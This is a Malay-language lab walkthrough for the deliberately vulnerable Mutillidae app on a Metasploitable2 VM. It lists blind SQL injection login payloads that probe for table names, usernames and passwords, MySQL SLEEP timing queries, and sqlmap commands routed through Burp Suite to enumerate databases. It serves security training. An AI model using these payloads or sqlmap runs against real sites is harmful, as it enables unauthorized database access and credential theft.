multillidae walkthrough Part 3

[1] A1 Injection Part 3	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Buka multillidae melalui Burp Suite Browser, dan rujuk demo video untuk mencuba challenge yang berkenaan.

4	**A1-Injection -> Blind SQL via Timing -> Login**
	`' OR exists(SELECT 1 FROM users limit 1)#`
	`' OR exists(SELECT 1 FROM accounts limit 1)#`
	`----------`
	`' OR exists(SELECT 1 FROM accounts where username = 'gh1mau' limit 1)#`
	`' OR exists(SELECT 1 FROM accounts where username = 'admin' limit 1)#`
	`----------`
	`' OR exists(SELECT 1 FROM accounts where username = 'admin' and password = 'admin' limit 1)#`
	`' OR exists(SELECT 1 FROM accounts where username = 'admin' and password = 'adminpass' limit 1)#`

5	**A1-Injection -> Blind SQL via Timing -> User Info**
	ssh ke ip metasploitable2
	`mysql -u root -p`
	`mysql> use owasp10;`
	`mysql> SELECT * FROM accounts WHERE username = 'admin123';`
	`mysql> SELECT * FROM accounts WHERE username = 'admin';`
	`----------`
	`mysql> SELECT * FROM accounts WHERE username = 'admin123' AND SLEEP(5);`
	`mysql> SELECT * FROM accounts WHERE username = 'admin' AND SLEEP(5);`

	Startkan Burp Suite Community. (Rujuk demo video) `sqlmap -u "http://ip_metasploitable2/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" --proxy=http://127.0.0.1:8080 --technique=T --fresh-queries --current-db`

6	**A1-Injection -> SQLMAP Practice Target -> View Someones Blog**
	Startkan Burp Suite Community. (Rujuk demo video)
	`sqlmap –r test1`
	`sqlmap –r test1 --dbs`

7	**A1-Injection -> SQLMAP Practice Target -> User Info** Penyelesaian adalah sama seperti dalam langkah 5